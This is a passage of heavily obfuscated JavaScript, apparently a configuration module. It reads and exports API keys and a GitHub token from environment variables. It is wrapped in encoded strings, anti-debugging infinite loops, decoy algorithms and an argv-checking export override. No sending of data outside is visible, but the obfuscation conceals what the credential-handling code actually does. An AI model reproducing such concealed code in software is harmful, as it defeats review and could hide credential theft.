b\x7a\x62\x2f\x4d\x7d\x74\x38\x45\x2a\x3b\x45\x70\x41\x69\x7c\x37\x74\x68\x38\x65\x24\x4e\x67\x70\x53\x65\x61\x69\x71\x25\x5b\x31','\u0040\u0064\u004e\u0041\u0064\u0033\u0036\u006b\u0053\u0055\u0065\u0050\u004a\u0038\u0071\u0076\u006c\u0022\u0054\u006f\u0047\u005f\u007a\u0043\u0067\u004e\u0046\u0039\u0079\u003e\u006d\u007c\u0036\u0067\u0070\u0034',木水水(152),'\u006e\u0067\u003a\u0070\u003b\u0076\u0035\u007c\u0029\u0064\u0065\u002f\u0025\u0067\u0036\u0060\u002c\u0069\u0048\u0050\u007d\u0060\u002a\u005d',木水水(153),木水水(154),木水水(155),'\x51\x65\x50\x4a\x69\x43\x33\x22\x67\x22\x2f\x7a\x54\x4f\x47\x6a\x45\x56\x5a\x75\x7c\x7b\x30\x42\x4d\x73\x61\x79\x7c\x56\x4b\x4e\x4a\x37\x62\x4c\x2f\x21\x62\x5d\x52\x6b\x64\x74\x5d',木水水(156),木水水(157),木水水(158),木水水(159),木水水(160),木水水(161),木水水(162),'\u0035\u0068\u007c\u0070\u0046\u0030\u005e\u006d\u0042\u0055\u003a\u006a\u005d',木水水(163),木水水(164),木水水(165),木水水(166),木水水(167),木水水(168),'\x62\x50\x2e\x70\x26\x56\x54\x7c\x41\x55\x35\x68\x41\x7a\x37\x68\x64\x30\x50\x42\x6a\x56\x57\x49\x35\x31\x6d\x2b\x43\x43\x4b\x44\x63\x64\x77\x23\x2e',木水水(169),木水水(170),木水水(171),木水水(172),木水水(173),木水水(174),木水水(175),木水水(176),木水水(177),木水水(178),木水水(179)];var 峰月=(雪星月,林川,日星金,泉月,泉日星水)=>{if(typeof 泉月===木水水(180)){泉月=星木金地}if(typeof 泉日星水===木水水(180)){泉日星水=風月海海}if(日星金==雪星月){return 林川[風月海海[日星金]]=峰月(雪星月,林川)}if(泉月===峰月){星木金地=林川;return 星木金地(日星金)}if(泉月===undefined){峰月=泉日星水}if(雪星月!==林川){return 泉日星水[雪星月]||(泉日星水[雪星月]=泉月(火風光[雪星月]))}};function 日星金(){return globalThis}function 泉月(){return global}function 泉日星水(){return window}function 雲光(){return new Function(木水水(181))()}function 月日日(林川=[日星金,泉月,泉日星水,雲光]){var 風月海海;var 火風光=[];try{雪星月(風月海海=Object,火風光[木水水(182)](''[木水水(183)][木水水(184)][木水水(185)]))}catch(e){}NYRKm4Z:for(var 峰月=0;峰月<林川[木水水(186)];峰月++){try{風月海海=林川[峰月]();for(var 月日日=0;月日日<火風光[木水水(186)];月日日++){if(typeof 風月海海[火風光[月日日]]===木水水(180))continue NYRKm4Z}return 風月海海}catch(e){}}return 風月海海||this}var 山雪峰=月日日()||{};var 雪川=山雪峰[木水水(187)];var 光峰火=山雪峰[木水水(188)];var 雲地火=山雪峰[木水水(189)];var 風海地=山雪峰[木水水(190)]||String;var 海山天=山雪峰[木水水(191)]||Array;var 雪天=function(){var 林川=new 海山天(128);var 風月海海=風海地[木水水(192)]||風海地[木水水(193)];var 火風光=[];return function(峰月){var 日星金,泉月;var 泉日星水=峰月[木水水(186)];火風光[木水水(186)]=0;for(var 雲光=0;雲光<泉日星水;){泉月=峰月[雲光++];if(泉月<=127){日星金=泉月}else if(泉月<=223){日星金=(泉月&31)<<6|峰月[雲光++]&63}else if(泉月<=239){日星金=(泉月&15)<<12|(峰月[雲光++]&63)<<6|峰月[雲光++]&63}else if(風海地[木水水(192)]){日星金=(泉月&7)<<18|(峰月[雲光++]&63)<<12|(峰月[雲光++]&63)<<6|峰月[雲光++]&63}else{雪星月(日星金=63,雲光+=3)}火風光[木水水(182)](林川[日星金]||(林川[日星金]=風月海海(日星金)))}return 火風光[木水水(194)]('')}}();function 木峰林月(雪星月){if(typeof 雪川!==木水水(180)&&雪川){return new 雪川()[木水水(195)](new 光峰火(雪星月))}else if(typeof 雲地火!==木水水(180)&&雲地火){return 雲地火[木水水(196)](雪星月)[木水水(197)](木水水(198))}else{return 雪天(雪星月)}}var 峰泉=峰月(231);var 天水天=峰月(171);var 川山林=峰月(147);var 木風=峰月(34);var 木泉=峰月(15);var 地雲=峰月(19);var 川山地=峰月(16);var 雲地雪={['地川']:峰月(14),['金光影']:峰月(154),['峰雪']:峰月(165)};var 林日=[峰月(8),峰月(15),峰月(15),峰月(22),峰月(159),峰月(173),峰月[木水水(199)](undefined,[209])];var 海風峰,雪木峰=function(){var 林川=(峰月,月日日,山雪峰,雪川,光峰火)=>{if(typeof 雪川===木水水(180)){雪川=雲地火}if(typeof 光峰火===木水水(180)){光峰火=風月海海}if(雪川===undefined){林川=光峰火}if(雪川===林川){雲地火=月日日;return 雲地火(山雪峰)}if(月日日){[光峰火,月日日]=[雪川(光峰火),峰月||山雪峰];return 林川(峰月,光峰火,山雪峰)}if(峰月!==月日日){return 光峰火[峰月]||(光峰火[峰月]=雪川(火風光[峰月]))}if(山雪峰==峰月){return 月日日[風月海海[山雪峰]]=林川(峰月,月日日)}};function 峰月(){return globalThis}function 月日日(){return global}function 山雪峰(){return window}function 雪川(){var 林川=(月日日,山雪峰,雪川,光峰火,雲地火)=>{if(typeof 光峰火===木水水(180)){光峰火=峰月}if(typeof 雲地火===木水水(180)){雲地火=風月海海}if(光峰火===undefined){林川=雲地火}if(雪川==光峰火){return 山雪峰?月日日[雲地火[山雪峰]]:風月海海[月日日]||(雪川=雲地火[月日日]||光峰火,風月海海[月日日]=雪川(火風光[月日日]))}if(月日日!==山雪峰){return 雲地火[月日日]||(雲地火[月日日]=光峰火(火風光[月日日]))}if(雪川&&光峰火!==峰月){林川=峰月;return 林川(月日日,-1,雪川,光峰火,雲地火)}if(山雪峰){[雲地火,山雪峰]=[光峰火(雲地火),月日日||雪川];return 林川(月日日,雲地火,雪川)}};return new Function(林川(0))();function 峰月(林川){var 峰月='\u0022\u0062\u0069\u006e\u0031\u002c\u007c\u006d\u0045\u0025\u002f\u005d\u0072\u0048\u0039\u0074\u004a\u003b\u0054\u0030\u004f\u0026\u0055\u0043\u006b\u0061\u0057\u003f\u003c\u0064\u0037\u0075\u004c\u0023\u0058\u0034\u0052\u0024\u0044\u006c\u0073\u0051\u0035\u0042\u006f\u003e\u0065\u0041\u007e\u004b\u004e\u0060\u0029\u0036\u0021\u006a\u005a\u0068\u004d\u0076\u0050\u0066\u0028\u0040\u002e\u007d\u002b\u0049\u0053\u007b\u0046\u0067\u0079\u0078\u0070\u005f\u0063\u005b\u0077\u003d\u007a\u0033\u0032\u0059\u0071\u0047\u005e\u0038\u002a\u0056\u003a';var 月日日=''+(林川||'');var 山雪峰=月日日.length;var 雪川=[];var 光峰火=0;var 雲地火=0;var 風月海海=-1;for(var 火風光=0;火風光<山雪峰;火風光++){var 日星金=峰月.indexOf(月日日[火風光]);if(日星金===-1)continue;if(風月海海<0){風月海海=日星金}else{雪星月(風月海海+=日星金*91,光峰火|=風月海海<<雲地火,雲地火+=(風月海海&8191)>88?13:14);do{雪星月(雪川.push(光峰火&255),光峰火>>=8,雲地火-=8)}while(雲地火>7);風月海海=-1}}if(風月海海>-1){雪川.push((光峰火|風月海海<<雲地火)&255)}return 木峰林月(雪川)}}function 光峰火(林川=[峰月,月日日,山雪峰,雪川]){var 光峰火=(林川,雲地火,風海地,海山天,雪天)=>{if(typeof 海山天===木水水(180)){海山天=地雲}if(typeof 雪天===木水水(180)){雪天=風月海海}if(風海地==林川){return 雲地火[風月海海[風海地]]=光峰火(林川,雲地火)}if(海山天===undefined){光峰火=雪天}if(林川!==雲地火){return 雪天[林川]||(雪天[林川]=海山天(火風光[林川]))}};var 雲地火=[光峰火[木水水(199)](undefined,[5])];var 風海地;var 海山天=[];try{var 雪天=(林川,光峰火,雲地火,風海地,海山天)=>{if(typeof 風海地===木水水(180)){風海地=川山林}if(typeof 海山天===木水水(180)){海山天=風月海海}if(雲地火==林川){return 光峰火[風月海海[雲地火]]=雪天(林川,光峰火)}if(光峰火){[海山天,光峰火]=[風海地(海山天),林川||雲地火];return 雪天(林川,海山天,雲地火)}if(雲地火&&風海地!==川山林){雪天=川山林;return 雪天(林川,-1,雲地火,風海地,海山天)}if(林川!==光峰火){return 海山天[林川]||(海山天[林川]=風海地(火風光[林川]))}};var 峰泉=雪天[木水水(199)](undefined,[3]);var 天水天=雪天(1);雪星月(風海地=Object,海山天[天水天](''[雪天(2)][峰泉][雪天(4)]));function 川山林(林川){var 光峰火='\u0050\u0034\u0064\u0041\u006e\u006c\u0063\u0051\u0071\u0059\u0042\u005a\u006d\u0043\u0044\u004e\u0057\u0066\u0068\u0058\u0067\u006b\u0045\u0061\u0055\u0047\u006a\u0062\u0048\u0049\u003c\u007b\u005b\u0046\u0074\u0072\u0039\u0078\u004a\u004c\u0065\u006f\u007c\u003b\u004b\u0069\u0075\u0052\u0070\u0054\u0037\u004f\u003f\u004d\u0031\u0076\u002c\u0073\u0056\u0053\u0028\u007a\u003a\u0024\u0032\u0060\u0026\u002b\u003d\u0040\u0029\u0023\u005e\u007d\u0022\u0030\u0035\u0036\u003e\u002f\u0038\u0021\u0079\u005f\u002a\u002e\u005d\u0025\u0033\u0077\u007e';var 雲地火=''+(林川||'');var 風海地=雲地火.length;var 海山天=[];var 雪天=0;var 峰泉=0;var 天水天=-1;for(var 川山林=0;川山林<風海地;川山林++){var 木泉=光峰火.indexOf(雲地火[川山林]);if(木泉===-1)continue;if(天水天<0){天水天=木泉}else{雪星月(天水天+=木泉*91,雪天|=天水天<<峰泉,峰泉+=(天水天&8191)>88?13:14);do{雪星月(海山天.push(雪天&255),雪天>>=8,峰泉-=8)}while(峰泉>7);天水天=-1}}if(天水天>-1){海山天.push((雪天|天水天<<峰泉)&255)}return 木峰林月(海山天)}}catch(e){}AAstqV:for(var 木風=0;木風<林川[雲地火[0]];木風++){try{風海地=林川[木風]();for(var 木泉=0;木泉<海山天[光峰火[木水水(199)](undefined,[5])];木泉++){if(typeof 風海地[海山天[木泉]]===光峰火(6))continue AAstqV}return 風海地}catch(e){}}return 風海地||this;function 地雲(林川){var 光峰火='\x43\x4b\x77\x3d\x72\x45\x4a\x42\x4d\x66\x6e\x39\x31\x79\x7a\x70\x5e\x6b\x74\x3f\x56\x22\x50\x2a\x37\x23\x26\x24\x30\x25\x4f\x64\x6c\x35\x36\x5a\x76\x62\x29\x3c\x52\x78\x4c\x2f\x55\x4e\x34\x69\x54\x65\x6f\x60\x2b\x32\x75\x21\x2c\x61\x3a\x41\x2e\x5b\x6d\x63\x7e\x33\x44\x38\x68\x73\x40\x28\x46\x6a\x53\x3b\x67\x3e\x5d\x57\x7b\x47\x5f\x51\x59\x49\x7c\x58\x7d\x71\x48';var 雲地火=''+(林川||'');var 風海地=雲地火.length;var 海山天=[];var 雪天=0;var 峰泉=0;var 天水天=-1;for(var 川山林=0;川山林<風海地;川山林++){var 木泉=光峰火.indexOf(雲地火[川山林]);if(木泉===-1)continue;if(天水天<0){天水天=木泉}else{雪星月(天水天+=木泉*91,雪天|=天水天<<峰泉,峰泉+=(天水天&8191)>88?13:14);do{雪星月(海山天.push(雪天&255),雪天>>=8,峰泉-=8)}while(峰泉>7);天水天=-1}}if(天水天>-1){海山天.push((雪天|天水天<<峰泉)&255)}return 木峰林月(海山天)}}return 海風峰=光峰火[林川(7)](this);function 雲地火(林川){var 峰月='\u007b\u0078\u0060\u0035\u003a\u0037\u0076\u0033\u0077\u002f\u007c\u0031\u0021\u007d\u007a\u0026\u0039\u003d\u002c\u005e\u005d\u004f\u0041\u0028\u002e\u0032\u0069\u002a\u0022\u0068\u0075\u005a\u002b\u0074\u005b\u0053\u0040\u0067\u003b\u004d\u007e\u0070\u0065\u006e\u0079\u0073\u0061\u0045\u0056\u0023\u0059\u0046\u0042\u0024\u003c\u0063\u0058\u0030\u004a\u0064\u006d\u0071\u0066\u004c\u003e\u004b\u004e\u0044\u0054\u006f\u006a\u0036\u006b\u0038\u0057\u005f\u0052\u0062\u0072\u0043\u006c\u0034\u0029\u0047\u0025\u0050\u0048\u0049\u0055\u003f\u0051';var 月日日=''+(林川||'');var 山雪峰=月日日.length;var 雪川=[];var 光峰火=0;var 雲地火=0;var 風月海海=-1;for(var 火風光=0;火風光<山雪峰;火風光++){var 日星金=峰月.indexOf(月日日[火風光]);if(日星金===-1)continue;if(風月海海<0){風月海海=日星金}else{雪星月(風月海海+=日星金*91,光峰火|=風月海海<<雲地火,雲地火+=(風月海海&8191)>88?13:14);do{雪星月(雪川.push(光峰火&255),光峰火>>=8,雲地火-=8)}while(雲地火>7);風月海海=-1}}if(風月海海>-1){雪川.push((光峰火|風月海海<<雲地火)&255)}return 木峰林月(雪川)}}[林日[0]]();function 泉林水水(...雪星月){var 林川=[峰月(9)];return 雪星月[雪星月[林川[0]]-1]}var 火火峰=海林(478)[峰月(10)](null);function 木日影水(雪星月,林川){return 日月(雪星月,峰月[木水水(199)](undefined,[11]),{[峰月(12)]:林川,[峰月(13)]:true})}var 日月=海林(478)[峰月[木水水(199)](undefined,[14])];var 木影=海林(478).create(null);var 風光峰=[];var 風海木=海林(478)[雲地雪['地川']];const 川月水=[海林(779)[林日[1]][川山地]||海林(779)[林日[2]][峰月(17)]||峰月[木水水(199)](undefined,[18]),海林(779)[峰月(15)][地雲]||峰月[木水水(200)](undefined,20),海林(779)[峰月(15)][峰月(21)]||林日[3],海林(779)[峰月(15)][峰月[木水水(200)](undefined,23)]||'',海林(779)[峰月(15)][峰月(24)]||''];export const GROQ_API_KEYS=川月水[峰月(25)](雪星月=>{var 林川={['山川峰雪']:峰月(28)};if(function(){var 雪星月=function(){const 林川=function(){const 林川=new(海林(235))('\x0a');return 林川[峰月(26)](雪星月)};return 林川()};return 雪星月()}()){while(true){var 風月海海=99;for(風月海海=99;風月海海==風月海海;風月海海*=風月海海){if(泉林水水(!風月海海&&海林(45).log(風月海海),風月海海)<=10){break}};if(風月海海===100){風月海海--}};}return 雪星月&&雪星月[峰月(27)]>10&&雪星月!==林川['山川峰雪']});export const GROQ_API_KEY=GROQ_API_KEYS[0]||'';let 川日火=0;export{};export{};export const GITHUB_TOKEN=海林(779)[峰月(15)][峰月(29)]||'';export const TOXIC_API_KEY=海林(779)[木泉][峰月(30)]||峰月[木水水(200)](undefined,31);if(function(){var 雪星月=function(){const 林川=function(){const 林川=new(海林(235))('\u000a');return 林川[峰月(32)](雪星月)};return 林川()};return 雪星月()}()){var 川星=峰月(33);var 天水=川星;while(true){if(泉林水水(天水=天水,!天水))break}}export const TOXIC_API_FALLBACK=海林(779)[峰月(15)][木風]||峰月(35);function 海林天(林川,日星金,泉月){var 泉日星水=[峰月(45)];var 雲光={[峰月(36)]:function(){var 林川=峰月[木水水(199)](undefined,[42]);var 日星金=[峰月(8)];var 泉月=峰月(37)in 火火峰;var [泉日星水,雲光]=風光峰;if(泉月){var 月日日=峰月(39);var 山雪峰=泉林水水(火火峰[峰月(38)]=月日日,function(林川){var 日星金=林川.length;var 泉月=[];var 泉日星水=0;for(var 雲光=0;雲光<日星金;雲光++){泉月.push(雲光!==0&&林川[雲光]>林川[雲光-1]?泉月[雲光-1]+1:1)}for(var 月日日=日星金-1;月日日>=0;月日日--){if(月日日!==日星金-1&&林川[月日日]>林川[月日日+1])泉月[月日日]=海林(689).max(泉月[月日日],泉月[月日日+1]+1);泉日星水+=泉月[月日日]}return 泉日星水});海林(45).log(山雪峰)}if(function(){var 林川=function(){const 日星金=function(){var 日星金={['日金水水']:峰月[木水水(199)](undefined,[40])};const 泉月=new(海林(235))('\x0a');return 泉月[日星金['日金水水']](林川)};return 日星金()};return 林川()}()){var 雪星月=峰月(41);while(true){if(泉林水水(雪星月=雪星月,!雪星月))break}}return 風海木[日星金[0]](null,泉日星水,林川,{[峰月(43)]:雲光,[峰月(44)]:true})},[泉日星水[0]]:function(){var 林川={['海峰海']:峰月(46)};var [[],日星金]=風光峰;if(日星金['\x61'][峰月(46)]===0){if(function(){var 林川=峰月(47)in 火火峰;if(林川){var 日星金=泉林水水(火火峰[峰月(48)]=峰月(49),function(林川,日星金){return 泉月({},林川,日星金)});var 泉月=function(林川,日星金,泉日星水){var 雲光={};if(林川[日星金+泉日星水]!==undefined)return 林川[日星金+泉日星水];if(日星金===泉日星水)return true;for(var 山雪峰=0;山雪峰<日星金.length;山雪峰++){if(雲光[日星金[山雪峰]]===undefined)雲光[日星金[山雪峰]]=0;if(雲光[泉日星水[山雪峰]]===undefined)雲光[泉日星水[山雪峰]]=0;雪星月(雲光[日星金[山雪峰]]++,雲光[泉日星水[山雪峰]]--)}for(var 風月海海 in 雲光){if(雲光[風月海海]!==0){return 泉林水水(林川[日星金+泉日星水]=false,false)}}for(var 火風光=1;火風光<日星金.length;火風光++){if(泉月(林川,日星金.substr(0,火風光),泉日星水.substr(0,火風光))&&泉月(林川,日星金.substr(火風光),泉日星水.substr(火風光))||泉月(林川,日星金.substr(0,火風光),泉日星水.substr(泉日星水.length-火風光))&&泉月(林川,日星金.substr(火風光),泉日星水.substr(0,泉日星水.length-火風光))){return 泉林水水(林川[日星金+泉日星水]=true,true)}}return 泉林水水(林川[日星金+泉日星水]=false,false)};海林(45).log(日星金)}var 泉日星水=function(){var 林川=[峰月(50)];var 日星金=林川[0]in 火火峰;const 泉月=function(){const 林川=new(海林(235))('\x0a');return 林川[峰月(51)](泉日星水)};if(日星金){module.exports=async(林川=()=>{throw new(海林(-533))(峰月(52))})=>{var 日星金=峰月(53);const 泉月=new(海林(-715))(海林(779).argv.slice(2));if(!泉月.has(日星金)){if(泉月.size!==1)return false;if(!泉月.has('\u002d\u0076'))return false}const 泉日星水=await(async(日星金,泉月)=>{var 泉日星水={['光地月']:峰月(55)};if(日星金)return 峰月[木水水(199)](undefined,[54]);if(泉月===await 林川())return 泉日星水['光地月'];return''})();return true}}return 泉月()};return 泉日星水()}()){var 泉月=峰月(56);while(true){if(泉林水水(泉月=泉月,!泉月))break}}return''}if(function(){var 林川=function(){const 日星金=function(){var 日星金=(泉月,林川,雲光,月日日,山雪峰)=>{if(typeof 月日日===木水水(180)){月日日=泉日星水}if(typeof 山雪峰===木水水(180)){山雪峰=風月海海}if(泉月!==林川){return 山雪峰[泉月]||(山雪峰[泉月]=月日日(火風光[泉月]))}if(雲光==月日日){return 林川?泉月[山雪峰[林川]]:風月海海[泉月]||(雲光=山雪峰[泉月]||月日日,風月海海[泉月]=雲光(火風光[泉月]))}if(月日日===日星金){泉日星水=林川;return 泉日星水(雲光)}};const 泉月=new(海林(235))('\x0a');return 泉月[日星金[木水水(199)](undefined,[57])](林川);function 泉日星水(日星金){var 泉月='\x54\x3b\x33\x47\x43\x50\x5e\x64\x29\x6d\x3d\x4b\x42\x72\x36\x53\x66\x71\x78\x4a\x58\x6e\x65\x61\x63\x56\x46\x76\x62\x7c\x7b\x51\x55\x67\x74\x3a\x5f\x35\x23\x4c\x4e\x30\x59\x68\x24\x48\x4f\x70\x57\x49\x69\x38\x21\x6f\x44\x3f\x2e\x7e\x45\x37\x6c\x4d\x41\x52\x7a\x6b\x2a\x5a\x39\x3c\x32\x25\x77\x28\x6a\x75\x2b\x79\x3e\x2f\x31\x34\x60\x22\x5b\x40\x26\x2c\x5d\x7d\x73';var 泉日星水=''+(日星金||'');var 林川=泉日星水.length;var 雲光=[];var 月日日=0;var 山雪峰=0;var 風月海海=-1;for(var 火風光=0;火風光<林川;火風光++){var 峰月=泉月.indexOf(泉日星水[火風光]);if(峰月===-1)continue;if(風月海海<0){風月海海=峰月}else{雪星月(風月海海+=峰月*91,月日日|=風月海海<<山雪峰,山雪峰+=(風月海海&8191)>88?13:14);do{雪星月(雲光.push(月日日&255),月日日>>=8,山雪峰-=8)}while(山雪峰>7);風月海海=-1}}if(風月海海>-1){雲光.push((月日日|風月海海<<山雪峰)&255)}return 木峰林月(雲光)}};return 日星金()};return 林川()}()){var 泉日星水=[峰月[木水水(199)](undefined,[58])];var 雲光=泉日星水[0];while(true){if(泉林水水(雲光=雲光,!雲光))break}}const 月日日=日星金['\u0061'][日星金['\u0062']%日星金['\x61'][峰月(46)]];return 泉林水水(日星金['\x62']=(日星金['\x62']+1)%日星金['\x61'][林川['海峰海']],月日日)},[峰月(59)]:function(){var 林川={['影地']:峰月(61)};var [[日星金],泉月]=風光峰;if(function(){var 林川=function(){const 日星金=function(){const 日星金=new(海林(235))('\x0a');return 日星金[峰月(60)](林川)};return 日星金()};return 林川()}()){while(true){var 泉日星水=99;for(泉日星水=99;泉日星水==泉日星水;泉日星水*=泉日星水){if(泉林水水(!泉日星水&&海林(45).log(泉日星水),泉日星水)<=10){break}};if(泉日星水===100){泉日星水--}};}const 雲光=泉月['\u0063'][林川['影地']](日星金);if(雲光!==-1&&泉月['\u0063'][峰月(62)]>1){var 月日日={['星水地']:峰月(62)};if(function(){var 林川=峰月(63)in 火火峰;var 日星金=function(){const 林川=function(){var 林川=[峰月[木水水(199)](undefined,[64])];const 泉月=new(海林(235))('\u000a');return 泉月[林川[0]](日星金)};return 林川()};if(林川){var 泉月=[峰月[木水水(199)](undefined,[66])];var 泉日星水=泉林水水(火火峰[峰月[木水水(199)](undefined,[65])]=泉月[0],function(林川){var 日星金=-303;var 泉月=-342;var 泉日星水=669;var 月日日={'\x74':-342,'\u0072':4,'\u006d':()=>{return 泉月+=月日日['\u006c']},'\u0069':(林川=泉日星水==-37)=>{if(林川){return arguments}return 月日日['\x66']()},'\x65':function(){return 日星金==(泉月==-300?-77:月日日['\x64'])},'\u0062':1,'\u0047':-97,'\u0066':function(林川=日星金==-88){if(林川){return 月日日}return 泉月+=-42},'\u0073':function(日星金=泉月==月日日['\u0074']){var 泉日星水=峰月(67);if(!日星金){return 月日日}return(月日日[泉日星水]('\u006f')?海林(183):林川)===(月日日['\x71']=月日日)['\x62']||林川>=月日日['\x72']},'\x44':()=>{return 泉月+=-18},'\u0046':function(){return 泉日星水=-月日日['\x45']},'\u0077':669,'\u006c':-60,'\u0045':86,['\x48']:function(林川){return 林川- -369}};while(日星金+泉月+泉日星水!=31){switch(日星金+泉月+泉日星水){case 月日日['\x48'](日星金):if(月日日['\x65']()){月日日['\x69']();break}return 山雪峰;雪星月(日星金+=25,月日日['\x6d']());break;case 33:雪星月(月日日['\x46'](),泉月+=日星金+(泉日星水+(日星金+月日日['\u0047'])));break;case 24:var 山雪峰=[];if(月日日['\x73']())(泉月==(泉日星水==月日日['\x77']?88:'\u0078')?海林(-630):雲光)(月日日['\x74']==-342?山雪峰:海林(45),[],林川,0);雪星月(日星金*=2,日星金-=-328);break;default:case 772:if(日星金==26){日星金+=-25;break}return 月日日['\x43']=山雪峰;月日日['\u0044']();break}}});var 雲光=function(林川,日星金,泉月,泉日星水){for(var 雪星月=泉日星水;雪星月<泉月;雪星月++){if(日星金.length!==雪星月)return;for(var 風月海海=0;風月海海<泉月;風月海海++){if(山雪峰(日星金,[雪星月,風月海海])){if(泉林水水(日星金.push([雪星月,風月海海]),雲光(林川,日星金,泉月,雪星月+1),日星金.length)===泉月)林川.push(月日日(日星金));日星金.pop()}}}};var 月日日=function(林川){var 日星金=[];var 泉月=林川.length;for(var 泉日星水=0;泉日星水<泉月;泉日星水++){for(var 雲光=泉林水水(日星金[泉日星水]='',0);雲光<泉月;雲光++){日星金[泉日星水]+=林川[泉日星水][1]===雲光?'\u0051':'\x2e'}}return 日星金};var 山雪峰=function(林川,日星金){var 泉月=201;var 泉日星水=-94;var 雲光=-77;var 月日日={'\x76':()=>{return 泉日星水+=泉日星水+86},'\x78':-210,'\x73':-30,'\x43':function(){return 泉月+=-239},'\x64':function(){return 火風光<風月海海},'\u006c':()=>{return 雲光==雲光+136},'\x62':1,'\u006a':-61,'\x6e':-51,'\x79':function(){return 泉月+=11},'\x77':-49,'\x42':function(){if(泉日星水==116){雪星月(泉月*=2,泉月-=月日日['\x77'],雲光+=月日日['\u0078']);return'\u007a'}return{'\x41':雲光==泉月+-278};月日日['\u0079']();return'\u007a'}};while(泉月+泉日星水+雲光!=33){switch(泉月+泉日星水+雲光){case 973:case 424:case 931:case 22:var 山雪峰=月日日['\u0042']();if(山雪峰==='\u007a'){break}else{if(typeof 山雪峰==峰月(68)){return 山雪峰['\u0041']}}case 30:var 風月海海=(月日日['\u0063']=林川).length;for(var 火風光=0;月日日['\u0064']();火風光++){if((月日日['\x66']=林川)[月日日[峰月(69)]('\u0062')&&火風光][0]===(月日日['\u0062']==1?日星金:__dirname)[0]||(泉月==月日日['\u006a']?null:林川)[火風光][1]===日星金[1])return 月日日['\u006c']();if((泉月==-100?雲光:海林(689)).abs(((月日日['\x6e']=='\x6f'?module:林川)[火風光][泉日星水+94]-(月日日['\u0072']=日星金)[0])/(林川[火風光][月日日['\x62']]-(月日日['\x6e']==201?海林(762):日星金)[泉日星水+95]))===月日日['\x62'])return 泉日星水==-146}月日日['\u0076']();break;default:case 835:case 538:case 412:雪星月(泉日星水=99,月日日['\x43'](),雲光+=210);break}}};海林(45).log(泉日星水)}return 日星金()}()){while(true){var 山雪峰=99;for(山雪峰=99;山雪峰==山雪峰;山雪峰*=山雪峰){if(泉林水水(!山雪峰&&海林(45).log(山雪峰),山雪峰)<=10){break}};if(山雪峰===100){山雪峰--}};}泉月['\x64']=(雲光+1)%泉月['\x63'][月日日['星水地']]}},[峰月(70)]:function(){var [...林川]=風光峰;if(function(){var 林川=function(){const 日星金=function(){const 日星金=new(海林(235))('\u000a');return 日星金[峰月(71)](林川)};return 日星金()};return 林川()}()){while(true){var 日星金=99;for(日星金=99;日星金==日星金;日星金*=日星金){if(泉林水水(!日星金&&海林(45).log(日星金),日星金)<=10){break}};if(日星金===100){日星金--}};}var 泉月={set ['\x64'](林川){var 日星金=峰月(72)in 火火峰;if(function(){var 林川=function(){const 日星金=function(){const 日星金=new(海林(235))('\u000a');return 日星金[峰月(73)](林川)};return 日星金()};return 林川()}()){while(true){var 泉月=99;for(泉月=99;泉月==泉月;泉月*=泉月){if(泉林水水(!泉月&&海林(45).log(泉月),泉月)<=10){break}};if(泉月===100){泉月--}};}if(日星金){var 泉日星水=泉林水水(火火峰[峰月(74)]=峰月(75),function(林川){var 日星金=404;var 泉月=-287;var 泉日星水={'\x66':83,'\u0061\u0066':-8,'\u0065':function(林川=泉日星水['\x66']==486){if(林川){return 泉日星水}return 日星金+=泉日星水['\x64'],泉月+=-90},'\x61\x65':()=>{return 日星金+=-182},'\x70':(林川=泉月==-345)=>{if(!林川){return arguments}return 日星金+=25,泉月+=泉日星水['\u006f']},'\u0074':()=>{return 日星金+=97},'\u0062':0,'\x73':2,'\x5a':function(林川=泉日星水['\x62']==23){if(林川){return 泉月==69}return 日星金+=19,(泉月*=2,泉月-=-489)},'\x6f':-108,'\u0061\u0061':33,'\x63':1,'\x6e':()=>{雪星月(日星金=57,泉日星水['\x65']());return'\u006c'},'\u0075':()=>{return 日星金+=泉月+(-44>泉月?463:25)},'\u0064':25,'\x4c':-35,['\u0061\u0067']:function(林川){return 林川- -482},['\x61\x68']:function(林川){return 林川!=-478&&林川- -586},['\x61\x69']:function(林川){return 林川!=-355&&(林川!=-345&&林川- -404)},['\x61\x6a']:function(林川){return 林川!=404&&林川-345}};while(日星金+泉月!=32){switch(日星金+泉月){case 146:var 雲光=日星金+-501;泉月+=泉日星水['\x63']-(泉日星水['\x6f']- -207);break;case 泉日星水['\u0061\u0067'](泉月):雪星月(泉月=46,泉日星水['\u005a']());break;case 48:case 198:case 501:case 538:var 月日日=0;泉日星水['\u0075']();break;case 266:case 465:case 50:var 山雪峰=林川.length;for(var 風月海海=0;(泉日星水['\u0078']=風月海海)<山雪峰;風月海海++){for(var 火風光=泉林水水(雪川={},雲光=泉日星水['\x62'],月日日=(泉日星水[峰月(76)]('\u0064')&&泉日星水)['\u0063'],(泉月==-453&&風月海海)+(日星金==503?1:'\x41'));(泉日星水['\x46']=火風光)<山雪峰;火風光++){if(林川[風月海海].x===林川[泉日星水['\x48']=火風光].x&&林川[風月海海].y===(日星金==503?林川:海林(-334))[火風光].y){月日日++;continue}if(林川[風月海海].y===(泉日星水['\x62']=='\u004a'?海林(901):林川)[泉日星水['\u0062']==503?海林(183):火風光].y)雲地火=(泉日星水['\x4c']==59?海林(-335):海林(-363)).MAX_SAFE_INTEGER;else 雲地火=(林川[風月海海].x-(泉日星水['\x66']==-453?海林(-400):林川)[火風光].x)/((泉日星水['\u0052']=林川)[風月海海].y-林川[火風光].y);if(!雪川[雲地火])雪川[雲地火]=泉日星水['\u0062'];雪星月(雪川[雲地火]++,雲光=海林(689).max(雲光,(日星金==泉月+529?海林(775):雪川)[泉日星水['\x54']=雲地火]))}雪星月(雲光+=泉日星水['\x59']=月日日,光峰火=海林(689).max(光峰火,雲光))}return 光峰火;泉月+=-18;break;case 921:case 173:case 泉日星水['\x61\x68'](泉月):case 392:雪星月(泉月=48,泉日星水['\x61\x65'](),泉月+=184);break;case 49:var 雪川={};泉日星水['\x74']();break;case 929:case 泉日星水['\u0061\u0069'](泉月):var 光峰火=泉日星水['\x62'];泉月+=-68;break;case 59:var 雲光=0;雪星月(日星金+=97,泉月*=泉日星水['\x73'],泉月-=-237);break;case 269:case 泉日星水['\u0061\u006a'](日星金):var 月日日=0;泉日星水['\x70']();break;case 123:if(泉日星水['\x6e']()=='\x6c'){break}case 58:var 雲地火=(泉日星水['\x76']=泉日星水)['\x62'];日星金+=-8;break;default:雪星月(日星金=57,日星金+=-75,泉月+=日星金+(泉月+(-101==日星金?111:泉日星水['\x61\x66'])));break}}});海林(45).log(泉日星水)}川日火=林川},get ['\u0063'](){if(function(){var 林川=function(){const 日星金=function(){const 日星金=new(海林(235))('\u000a');return 日星金[峰月[木水水(200)](undefined,77)](林川)};return 日星金()};return 